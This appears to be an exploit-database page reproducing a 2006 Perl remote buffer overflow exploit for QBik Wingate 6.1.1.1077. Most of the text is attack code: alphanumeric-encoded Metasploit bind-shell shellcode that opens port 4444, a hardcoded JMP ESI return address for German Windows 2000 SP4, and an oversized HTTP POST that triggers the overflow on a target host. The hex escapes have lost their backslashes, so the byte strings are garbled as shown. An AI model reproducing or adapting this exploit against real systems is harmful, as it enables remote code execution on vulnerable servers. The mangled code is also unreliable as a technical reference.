QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : QBik Wingate 6.1.1.1077 (POST) Remote Buffer Overflow Exploit
# Published : 2006-06-07
# Author : kcope
# Previous Title : CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit
# Next Title : Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit
### *** Proof of concept (not for "in the wild" kiddies) ***
### QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 (german)
### by kcope in 2006
###
use IO::Socket;

if ($ARGV[0] eq "")
{
 print "param1 = remote host";
 exit;
}

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e".
"x4dx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx58".
"x4ex46x46x32x46x52x4bx48x45x44x4ex33x4bx38x4ex47".
"x45x30x4ax47x41x50x4fx4ex4bx58x4fx54x4ax31x4bx58".
"x4fx35x42x32x41x30x4bx4ex49x44x4bx58x46x33x4bx48".
"x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c".
"x46x37x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx53x46x55x46x52x4ax32x45x57x45x4ex4bx58".
"x4fx35x46x52x41x50x4bx4ex48x36x4bx48x4ex50x4bx34".
"x4bx48x4fx45x4ex51x41x50x4bx4ex43x30x4ex52x4bx58".
"x49x48x4ex46x46x32x4ex31x41x36x43x4cx41x43x4bx4d".
"x46x56x4bx58x43x44x42x33x4bx58x42x34x4ex30x4bx48".
"x42x47x4ex31x4dx4ax4bx58x42x54x4ax30x50x35x4ax46".
"x50x38x50x34x50x50x4ex4ex42x35x4fx4fx48x4dx48x46".
"x43x35x48x56x4ax46x43x53x44x53x4ax46x47x47x43x47".
"x44x33x4fx55x46x55x4fx4fx42x4dx4ax56x4bx4cx4dx4e".
"x4ex4fx4bx53x42x45x4fx4fx48x4dx4fx45x49x38x45x4e".
"x48x36x41x38x4dx4ex4ax50x44x30x45x55x4cx46x44x30".
"x4fx4fx42x4dx4ax46x49x4dx49x30x45x4fx4dx4ax47x45".
"x4fx4fx48x4dx43x55x43x35x43x35x43x55x43x35x43x44".
"x43x35x43x44x43x35x4fx4fx42x4dx48x56x4ax46x41x31".
"x4ex45x48x56x43x55x49x48x41x4ex45x59x4ax46x46x4a".
"x4cx41x42x37x47x4cx47x55x4fx4fx48x4dx4cx56x42x51".
"x41x55x45x35x4fx4fx42x4dx4ax56x46x4ax4dx4ax50x52".
"x49x4ex47x55x4fx4fx48x4dx43x55x45x45x4fx4fx42x4d".
"x4ax36x45x4ex49x54x48x48x49x54x47x35x4fx4fx48x4d".
"x42x35x46x35x46x55x45x55x4fx4fx42x4dx43x59x4ax46".
"x47x4ex49x57x48x4cx49x57x47x35x4fx4fx48x4dx45x45".
"x4fx4fx42x4dx48x46x4cx46x46x46x48x36x4ax56x43x46".
"x4dx46x49x38x45x4ex4cx56x42x55x49x35x49x52x4ex4c".
"x49x38x47x4ex4cx46x46x34x49x38x44x4ex41x43x42x4c".
"x43x4fx4cx4ax50x4fx44x34x4dx42x50x4fx44x54x4ex32".
"x43x39x4dx58x4cx47x4ax53x4bx4ax4bx4ax4bx4ax4ax46".
"x44x47x50x4fx43x4bx48x41x4fx4fx45x47x46x54x4fx4f".
"x48x4dx4bx45x47x45x44x55x41x55x41x35x41x35x4cx56".
"x41x30x41x55x41x55x45x55x41x55x4fx4fx42x4dx4ax56".
"x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx36".
"x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx58x47x45x4ex4f".
"x43x58x46x4cx46x46x4fx4fx48x4dx44x35x4fx4fx42x4d".
"x4ax56x42x4fx4cx48x46x30x4fx35x43x35x4fx4fx48x4d".
"x4fx4fx42x4dx5a";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');

$ret = "x4bx4fx9ex01";	# JMP ESI Win2k SP4 German
$x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJxebx3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSAAAAUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJxebx3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSBBBBUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJxebx3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS".$ret."UUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJxebx3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSDDDDUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJxebx3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSEEEEUUUUVVVVWWWWXXXXYYYYZZZZ";
$a = "A" x 2000 . $x . "x90" x 100 . $shellcode;
print $sock "POST http://$a/ HTTP/1.0rnrn";


while (<$sock>) {
	print;	
}

# www.Syue.com [2006-06-07]